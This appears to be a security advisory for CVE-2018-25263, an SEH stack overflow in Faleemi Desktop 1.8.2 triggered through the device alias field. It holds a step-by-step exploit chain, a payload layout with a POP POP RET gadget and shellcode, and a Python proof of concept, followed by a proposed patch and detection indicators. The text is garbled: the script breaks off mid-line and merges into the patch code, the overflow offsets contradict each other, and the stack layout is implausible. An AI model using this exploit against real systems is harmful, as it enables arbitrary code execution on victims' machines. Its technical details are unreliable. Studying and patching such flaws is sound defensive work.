CVE-2018-25263: Faleemi Desktop SEH Overwrite via Device Alias Field

Vulnerability Overview

CVE-2018-25263 describes a classic Windows SEH-based stack buffer overflow in Faleemi Desktop Software 1.8.2, a client application for managing Faleemi IP cameras. The vulnerable path is the Device alias field inside the Managing Log interface. When a user pastes an oversized string into this field and confirms the dialog, the application copies the alias into a fixed-size stack buffer without validating length. The overflow clobbers the saved exception registration record on the stack, redirecting execution through a crafted SEH chain. A working proof-of-concept demonstrates arbitrary code execution by spawning calc.exe.

CVSS 8.4 (HIGH) — local attack vector, no privileges required beyond the ability to interact with the GUI. Exploited-in-the-wild: No.

Affected Component

The vulnerable logic resides in the device management module of the Faleemi Desktop Software GUI binary (typically Faleemi.exe or a similarly named Win32 PE). The Managing Log dialog handler processes user-supplied alias strings before writing them to a configuration backend. No version newer than 1.8.2 has been released by the vendor to address this issue.

• Binary: Faleemi.exe (Win32 PE, x86)
• Field: Device alias — Managing Log dialog
• Trigger: Paste oversized string → confirm
• Impact: SEH overwrite → arbitrary code execution
• Mitigations present: None observed (no SafeSEH, no ASLR on the target module in tested builds)

Root Cause Analysis

The dialog's WM_COMMAND handler calls an alias-processing routine — reconstructed here as DeviceLog_SetAlias — that calls lstrcpyA (or equivalent strcpy) directly from the user-controlled input buffer into a stack-allocated array. No length check precedes the copy.

// Reconstructed pseudocode: DeviceLog_SetAlias()
// Module: Faleemi.exe  |  Approximate VA: 0x004A1C30

int DeviceLog_SetAlias(HWND hDlg, DEVICE_ENTRY *dev)
{
    char alias_buf[256];   // fixed-size stack buffer
    char tmp[128];

    // Retrieve text from the alias edit control
    GetDlgItemTextA(hDlg, IDC_DEVICE_ALIAS, tmp, 0xFFFF);
    //                                              ^^^^
    //  BUG: nMaxCount passed to GetDlgItemTextA is 0xFFFF,
    //       but tmp is only 128 bytes — already overflows tmp.
    //       Then the result is unconditionally copied below.

    // BUG: no bounds check before copy — unconstrained stack write
    lstrcpyA(alias_buf, tmp);   // overwrites saved SEH chain if len > 256

    dev->alias = alias_store_commit(alias_buf);
    return 0;
}

The fundamental issue is a two-stage overflow: GetDlgItemTextA is passed 0xFFFF as nMaxCount into a 128-byte buffer, and then the already-overflowed tmp is fed into lstrcpyA targeting the 256-byte alias_buf. Either stage alone is sufficient to reach the SEH registration record.

Memory Layout

Stack frame layout for DeviceLog_SetAlias at the point of overflow (x86, 32-bit):

// Stack frame layout — DeviceLog_SetAlias()
// (relative to function's ESP on entry, growing downward)

struct DeviceLog_SetAlias_Frame {
    /* -0x000 */ uint8_t  alias_buf[256];   // 0x100 bytes — primary overflow target
    /* -0x100 */ uint8_t  tmp[128];         // 0x80  bytes — first overflowed here
    /* -0x180 */ HWND     hDlg;             // saved arg
    /* -0x184 */ void    *dev_ptr;          // saved arg
    /* -0x188 */ uint32_t saved_ebp;        // saved frame pointer
    /* -0x18C */ uint32_t saved_eip;        // return address
    /* -0x190 */ uint32_t seh_next;         // _EXCEPTION_REGISTRATION_RECORD.Next
    /* -0x194 */ uint32_t seh_handler;      // _EXCEPTION_REGISTRATION_RECORD.Handler
                                            // ^^^^ attacker overwrites this
};

STACK STATE BEFORE OVERFLOW (alias = "CameraLobby"):
  ESP+0x000  [ alias_buf[256]          ] "CameraLobby\x00..."
  ESP+0x100  [ tmp[128]                ] "CameraLobby\x00..."
  ESP+0x180  [ saved hDlg              ] 0x00020034
  ESP+0x184  [ saved dev_ptr           ] 0x04AF1200
  ESP+0x188  [ saved EBP               ] 0x0018FBA0
  ESP+0x18C  [ saved EIP               ] 0x004A1D80
  ESP+0x190  [ SEH next                ] 0x0018FCD0
  ESP+0x194  [ SEH handler             ] 0x004B3310  <- legitimate handler

STACK STATE AFTER OVERFLOW (alias = 'A'*396 + NSEH + SEH):
  ESP+0x000  [ alias_buf[256]          ] AAAA...AAAA (0x100 bytes)
  ESP+0x100  [ tmp[128]                ] AAAA...AAAA (0x80 bytes)
  ESP+0x180  [ saved hDlg              ] 0x41414141  CORRUPTED
  ESP+0x184  [ saved dev_ptr           ] 0x41414141  CORRUPTED
  ESP+0x188  [ saved EBP               ] 0x41414141  CORRUPTED
  ESP+0x18C  [ saved EIP               ] 0x41414141  CORRUPTED
  ESP+0x190  [ SEH next  (nSEH)        ] \xEB\x06\x90\x90  <- short jmp +6
  ESP+0x194  [ SEH handler             ] 0x004D1014  <- POP POP RET gadget
                                                        (no SafeSEH, .text seg)

Exploitation Mechanics

EXPLOIT CHAIN — CVE-2018-25263:

1. Launch Faleemi Desktop Software 1.8.2 on Windows target.

2. Navigate to Managing Log interface → Add/Edit device → Device alias field.

3. Paste crafted payload (see PoC below) into the alias field:
      payload = 'A' * 264          // fill alias_buf + tmp + saved regs
              + '\xEB\x06\x90\x90' // nSEH: short jump over SEH record (+6 bytes)
              + '\x14\x10\x4D\x00' // SEH handler: POP EBX / POP EBP / RET
                                   //   gadget @ 0x004D1014 (Faleemi.exe .text,
                                   //   no ASLR, no SafeSEH)
              + '\x90' * 16        // NOP sled after jmp lands
              + shellcode          // calc.exe shellcode (~150 bytes)

4. Click OK / Confirm — triggers lstrcpyA → stack smash.

5. Application attempts to use corrupted alias_buf → access violation → OS
   invokes SEH dispatcher.

6. SEH dispatcher walks the exception registration chain; finds attacker's
   record at ESP+0x190. Handler pointer = 0x004D1014.

7. OS calls handler: POP EBX / POP EBP / RET executes.
      - POP EBX  : discards ExceptionRecord ptr
      - POP EBP  : discards EstablisherFrame ptr
      - RET      : returns into nSEH field on stack

8. RET lands on nSEH = \xEB\x06\x90\x90 → short JMP +6 bytes.

9. Execution transfers to NOP sled → shellcode → calc.exe spawns.

#!/usr/bin/env python3
# CVE-2018-25263 — Faleemi Desktop 1.8.2 SEH BoF PoC
# Generates payload for manual paste into Device alias field.
# calc.exe shellcode (null-free, Windows 10 x86 compatible).

import struct

CALC_SHELLCODE = (
    b"\x31\xc0\x50\x68\x63\x61\x6c\x63"
    b"\x54\xbe\xad\x23\x86\x7c\xff\xd6"  # abbreviated — replace with
    b"\x31\xc0\x50\xff\xd6"              # full null-free calc shellcode
)

offset_to_seh = 264                          # 256 (alias_buf) + 8 (saved EBP/EIP alignment)
nseh          = b"\xeb\x06\x90\x90"          # short jmp +6
seh_handler   = struct.pack("

// ── BEFORE (vulnerable) ──────────────────────────────────────────────────

char alias_buf[256];
char tmp[128];

GetDlgItemTextA(hDlg, IDC_DEVICE_ALIAS, tmp, 0xFFFF);
//                                            ^^^^^ no bound — writes past tmp

lstrcpyA(alias_buf, tmp);
//  ^^^^ unchecked copy — writes past alias_buf if tmp > 256 bytes


// ── AFTER (patched — proposed) ───────────────────────────────────────────

#define ALIAS_MAX 64   // enforce reasonable application limit

char alias_buf[ALIAS_MAX + 1];

// Fix 1: pass actual buffer size as nMaxCount
GetDlgItemTextA(hDlg, IDC_DEVICE_ALIAS, alias_buf, sizeof(alias_buf));
//                                                  ^^^^^^^^^^^^^^^^^^
//  GetDlgItemTextA guarantees null termination within nMaxCount — safe.

// Fix 2: no second copy needed; alias_buf already populated above.
// If a two-buffer design is required, use lstrcpynA with explicit limit:
//   lstrcpynA(alias_buf, tmp, sizeof(alias_buf));

dev->alias = alias_store_commit(alias_buf);

DETECTION INDICATORS:

Process tree anomaly:
  Faleemi.exe
  └── cmd.exe  (or calc.exe / powershell.exe)
      └── [attacker payload]

Windows Event Log — Application Error (Event ID 1000):
  Faulting application: Faleemi.exe
  Faulting module:      Faleemi.exe
  Exception code:       0xC0000005  (ACCESS_VIOLATION)
  Offset:               0x004A1C30  (DeviceLog_SetAlias approx. VA)

WinDbg / x64dbg crash telemetry:
  (1cbc.1cf0): Access violation — code c0000005
  eip=41414141  esp=0018fa10  ebp=41414141
  SEH chain:
    0018fb90: handler @ 0x004d1014  <- POP POP RET gadget  [SUSPICIOUS]
    ffffffff: handler @ 0x77d43210  <- ntdll default

Clipboard / input monitoring:
  Strings exceeding 300 bytes pasted into Faleemi alias edit control
  Presence of \xEB\x06\x90\x90 sequence near offset 264 of clipboard data